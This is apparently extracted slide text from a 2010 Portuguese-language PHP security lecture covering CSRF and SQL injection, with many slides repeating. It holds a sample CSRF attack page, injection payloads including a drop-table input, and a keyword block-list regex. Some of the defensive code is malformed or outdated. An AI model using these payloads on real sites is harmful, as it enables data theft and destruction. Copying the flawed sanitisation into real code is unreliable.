  • 73. 24 h ) - CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Abril 2010
  • 74. 24 h ) - CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Solução -Colocar tokens que se propaguem na aplicação Abril 2010
  • 75. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php Abril 2010
  • 76. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... Abril 2010
  • 77. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Abril 2010
  • 78. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Activar selecção nome +password em php_sqlinjection_sel.php Aplicar em nome ‘ or 1=1 – xxx; Drop table -- !!! Abril 2010
  • 79. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... SQL_Inject_me “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Activar selecção nome +password em php_sqlinjection_sel.php Aplicar em nome ‘ or 1=1 – xxx; Drop table -- !!! Abril 2010
  • 80. 26 i) SQL injection - Solução Limitar comprimento dos campos no formulário: Abril 2010
  • 81. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Abril 2010
  • 82. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Abril 2010
  • 83. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL Abril 2010
  • 84. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Abril 2010
  • 85. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis Abril 2010
  • 86. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...). Ex: php_sqlinjection_sel1a.php  activar escaping Abril 2010
  • 87. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...). Ex: php_sqlinjection_sel1a.php  activar escaping Utilizar declarações (SQL) EX: script php_sqlinjection_sel1.php Abril 2010
  • 88. 27 Segurança como um todo – o que fazer? Como proteger das vulnerabilidades PHP? Do ponto de vista do administrador do sistema: Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO), Teste as aplicações sempre que use novas versões do PHP, Faça um scanning às aplicações em uso, Considere a utilização da seguinte configuração em PHP: register_globals (deve estar off), allow_url_fopen (deve estar off), magic_quotes_gpc (deve estar off), open_basedir (deve estar on e configurada correctamente), Abril 2010
  • 89. 28 Segurança como um todo – o que fazer? Como proteger das vulnerabilidades PHP ? Do ponto de vista do programador: Migrar urgentemente a aplicação para PHP 5.2 ou superior . Para evitar as questões anteriores: Programar com a última versão do PHP e com configuração “hardned” Validar todo o input de acordo com o tipo de variável atribuída Codificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSS Migrar o interface de dados para PDO Não usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1 Abril 2010